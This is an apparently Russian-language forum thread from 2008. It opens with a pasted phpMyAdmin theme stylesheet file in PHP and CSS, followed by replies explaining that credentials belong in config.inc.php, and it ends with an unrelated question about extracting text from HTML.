background-color: <?php echo $GLOBALS['cfg']['BrowseMarkerColor']; ?>;
}

/* hovered table rows */
table tr.odd:hover,
table tr.even:hover,
table tr.odd:hover th,
table tr.even:hover th,
table tr.hover th,
table tr.hover {
background-color: <?php echo $GLOBALS['cfg']['BrowsePointerColor']; ?>;
}

table .value {
text-align: right;
white-space: nowrap;
}
/* IE doesnt handles 'pre' right */
table [class=value] {
white-space: pre;
}

.value {
font-family: "Courier New", Courier, monospace;
}
.value .attention {
color: red;
font-weight: bold;
}
.value .allfine {
color: green;
}


/* serverstatus */
div#serverstatus table caption a.top {
float: right;
}

div#serverstatus div#serverstatusqueriesdetails table,
div#serverstatus table#serverstatustraffic,
div#serverstatus table#serverstatusconnections {
float: left;
}

#serverstatussection,
.clearfloat {
clear: both;
}
div#serverstatussection table {
width: 100%;
margin-bottom: 1em;
}
div#serverstatussection table .name {
width: 18em;
}
div#serverstatussection table .value {
width: 6em;
}

div#serverstatus table tbody td.descr a,
div#serverstatus table .tblFooters a {
white-space: nowrap;
}
div#serverstatus div#statuslinks a:before,
div#serverstatus div#sectionlinks a:before,
div#serverstatus table tbody td.descr a:before,
div#serverstatus table .tblFooters a:before {
content: '[';
}
div#serverstatus div#statuslinks a:after,
div#serverstatus div#sectionlinks a:after,
div#serverstatus table tbody td.descr a:after,
div#serverstatus table .tblFooters a:after {
content: ']';
}
/* end serverstatus */

img.lightbulb {
cursor: pointer;
}

<?php
} // end styles 2.7.0

if ($_SESSION['PMA_Theme']->checkVersion('2.7.1')) {
?>

/********************/
/* NEW in PMA 2.7.1 */
/********************/

body.loginform h1,
body.loginform a.logo {
display: block;
text-align: center;
}

form.login label {
float: left;
width: 10em;
font-weight: bolder;
}


/* main page */
#maincontainer {
background-image: url(<?php echo $GLOBALS['cfg']['ThemePath']; ?>/original/img/logo_right.png);
background-position: <?php echo $right; ?> bottom;
background-repeat: no-repeat;
border-bottom: 1px solid silver;
}

#mysqlmaininformation,
#pmamaininformation {
float: <?php echo $left; ?>;
width: 49%;
}

#maincontainer ul {
list-style-image: url(<?php echo $GLOBALS['cfg']['ThemePath']; ?>/original/img/item_<?php echo $GLOBALS['text_dir']; ?>.png);
vertical-align: middle;
}

#maincontainer li {
margin-bottom: 0.3em;
}
/* END main page */


<?php if ($GLOBALS['cfg']['MainPageIconic']) { ?>
/* iconic view for ul items */
li#li_create_database {
list-style-image: url(<?php echo $GLOBALS['cfg']['ThemePath']; ?>/original/img/b_newdb.png);
}

li#li_select_lang {
list-style-image: url(<?php echo $GLOBALS['cfg']['ThemePath']; ?>/original/img/s_lang.png);
}

li#li_select_mysql_collation,
li#li_select_mysql_charset {
list-style-image: url(<?php echo $GLOBALS['cfg']['ThemePath']; ?>/original/img/s_asci.png);
}

li#li_select_theme{
list-style-image: url(<?php echo $GLOBALS['cfg']['ThemePath']; ?>/original/img/s_theme.png);
}

li#li_server_info{
list-style-image: url(<?php echo $GLOBALS['cfg']['ThemePath']; ?>/original/img/s_host.png);
}

li#li_user_info{
/* list-style-image: url(<?php echo $GLOBALS['cfg']['ThemePath']; ?>/original/img/s_rights.png); */
}

li#li_mysql_status{
list-style-image: url(<?php echo $GLOBALS['cfg']['ThemePath']; ?>/original/img/s_status.png);
}

li#li_mysql_variables{
list-style-image: url(<?php echo $GLOBALS['cfg']['ThemePath']; ?>/original/img/s_vars.png);
}

li#li_mysql_processes{
list-style-image: url(<?php echo $GLOBALS['cfg']['ThemePath']; ?>/original/img/s_process.png);
}

li#li_mysql_collations{
list-style-image: url(<?php echo $GLOBALS['cfg']['ThemePath']; ?>/original/img/s_asci.png);
}

li#li_mysql_engines{
list-style-image: url(<?php echo $GLOBALS['cfg']['ThemePath']; ?>/original/img/b_engine.png);
}

li#li_mysql_binlogs {
list-style-image: url(<?php echo $GLOBALS['cfg']['ThemePath']; ?>/original/img/s_tbl.png);
}

li#li_mysql_databases {
list-style-image: url(<?php echo $GLOBALS['cfg']['ThemePath']; ?>/original/img/s_db.png);
}

li#li_export {
list-style-image: url(<?php echo $GLOBALS['cfg']['ThemePath']; ?>/original/img/b_export.png);
}

li#li_import {
list-style-image: url(<?php echo $GLOBALS['cfg']['ThemePath']; ?>/original/img/b_import.png);
}

li#li_change_password {
list-style-image: url(<?php echo $GLOBALS['cfg']['ThemePath']; ?>/original/img/s_passwd.png);
}

li#li_log_out {
list-style-image: url(<?php echo $GLOBALS['cfg']['ThemePath']; ?>/original/img/s_loggoff.png);
}

li#li_pma_docs {
list-style-image: url(<?php echo $GLOBALS['cfg']['ThemePath']; ?>/original/img/b_docs.png);
}

li#li_phpinfo {
list-style-image: url(<?php echo $GLOBALS['cfg']['ThemePath']; ?>/original/img/php_sym.png);
}

li#li_pma_homepage {
list-style-image: url(<?php echo $GLOBALS['cfg']['ThemePath']; ?>/original/img/b_home.png);
}

li#li_mysql_privilegs{
list-style-image: url(<?php echo $GLOBALS['cfg']['ThemePath']; ?>/original/img/s_rights.png);
}

li#li_switch_dbstats {
list-style-image: url(<?php echo $GLOBALS['cfg']['ThemePath']; ?>/original/img/b_dbstatistics.png);
}

li#li_flush_privileges {
list-style-image: url(<?php echo $GLOBALS['cfg']['ThemePath']; ?>/original/img/s_reload.png);
}
/* END iconic view for ul items */
<?php } /* end if $GLOBALS['cfg']['MainPageIconic'] */ ?>


#body_browse_foreigners {
background-color: <?php echo $cfg['LeftBgColor']; ?>;
margin: 5px 5px 0 5px;
}

#bodyquerywindow {
background-color: <?php echo $cfg['LeftBgColor']; ?>;
}

#bodythemes {
width: 500px;
margin: auto;
text-align: center;
}

#bodythemes img {
border: 0.1em solid black;
}

#bodythemes a:hover img {
border: 0.1em solid red;
}

#fieldset_select_fields {
float: left;
}

#selflink {
clear: both;
display: block;
margin-top: 1em;
margin-bottom: 1em;
width: 100%;
border-top: 0.1em solid silver;
text-align: <?php echo $right; ?>;
}

#table_innodb_bufferpool_usage,
#table_innodb_bufferpool_activity {
float: <?php echo $left; ?>;
}

#div_mysql_charset_collations table {
float: <?php echo $left; ?>;
}

#div_table_order {
min-width: 48%;
float: <?php echo $left; ?>;
}

#div_table_rename {
min-width: 48%;
float: <?php echo $left; ?>;
}

#div_table_copy {
min-width: 48%;
float: <?php echo $left; ?>;
}

#div_table_options {
clear: both;
min-width: 48%;
float: <?php echo $left; ?>;
}

#qbe_div_table_list {
float: <?php echo $left; ?>;
}

#qbe_div_sql_query {
float: <?php echo $left; ?>;
}
<?php
$GLOBALS['cfg']['BgOne'] = $GLOBALS['cfg']['BgcolorOne'];
$GLOBALS['cfg']['BgTwo'] = $GLOBALS['cfg']['BgcolorTwo'];
} // end styles 2.7.1

if ($_SESSION['PMA_Theme']->checkVersion('2.9')) {
?>

/********************/
/* NEW in PMA 2.9 */
/********************/

<?php if ($GLOBALS['cfg']['BrowseMarkerColor']) { ?>
/* marked items */
.marked a,
.marked {
background: <?php echo $GLOBALS['cfg']['BrowseMarkerBackground']; ?>;
color: <?php echo $GLOBALS['cfg']['BrowseMarkerColor']; ?>;
}
<?php } ?>

/* odd items 1,3,5,7,... */
.odd {
background: <?php echo $GLOBALS['cfg']['BgOne']; ?>;
}

/* even items 2,4,6,8,... */
.even {
background: <?php echo $GLOBALS['cfg']['BgTwo']; ?>;
}

/* hovered items */
.odd:hover,
.even:hover,
.hover {
background: <?php echo $GLOBALS['cfg']['BrowsePointerBackground']; ?>;
color: <?php echo $GLOBALS['cfg']['BrowsePointerColor']; ?>;
}

/**
* marks table rows/cells if the db field is in a where condition
*/
tr.condition th,
tr.condition td,
td.condition,
th.condition {
border: 1px solid <?php echo $GLOBALS['cfg']['BrowseMarkerBackground']; ?>;
}

label.desc {
width: 30em;
float: <?php echo $left; ?>;
}

body.loginform {
text-align: center;
}

body.loginform div.container {
text-align: <?php echo $left; ?>;
width: 30em;
margin: 0 auto;
}

#body_leftFrame #list_server {
list-style-image: url(<?php echo $GLOBALS['cfg']['ThemePath']; ?>/original/img/s_host.png);
list-style-position: inside;
list-style-type: none;
margin: 0;
padding: 0;
}

#body_leftFrame #list_server li {
margin: 0;
padding: 0;
font-size: 80%;
}
<?php
} // end styles 2.9

$_SESSION['PMA_Theme_Manager']->printCss(PMA_FRAME);
?>

dinar_007
09.01.2008, 18:51
Conquerstador, эта х**ня формирует css файл... Какой ещё логин и пароль? В этом файле он не прописывается, он прописывается в конфиге, совсем в другом файле...
P.S.
тэг [пхп][/пхп] для чего придуман?

Conquerstador
09.01.2008, 19:15
Conquerstador, эта х**ня формирует css файл... Какой ещё логин и пароль? В этом файле он не прописывается, он прописывается в конфиге, совсем в другом файле...
P.S.
тэг [пхп][/пхп] для чего придуманы?

так он здоровый я его вставлял он не вставляется )))

presidentua
09.01.2008, 19:21
так он здоровый я его вставлял он не вставляется )))

Это из документации:
3. Open the file config.inc.php in your favorite editor and change the values for host, user, password and authentication mode to fit your
environment. Here, "host" means the MySQL server. Have a look at Configuration section for an explanation of all values. Please also read the remaining of this Installation section for information about authentication modes and the linked-tables infrastructure.

U4eba
10.01.2008, 20:27
Припустим есть файл html вньом разные даные и хтмл в томже числе.
но есть текст которые всегда разный как можно вытащить его.. не копаясь в етому мусоре html.

Думал что можно зделать через шаблон но в таком случае мне выдаст не текст а просто труе(1) или фалсе(0).., а мне нужен имено текст.
Дайте если можно пример или подскажыте что нужно делать

bul.666
10.01.2008, 20:31
Что тебе нужно именно? Вытащить определенный кусок текста из html файла?

U4eba
10.01.2008, 20:45
да да...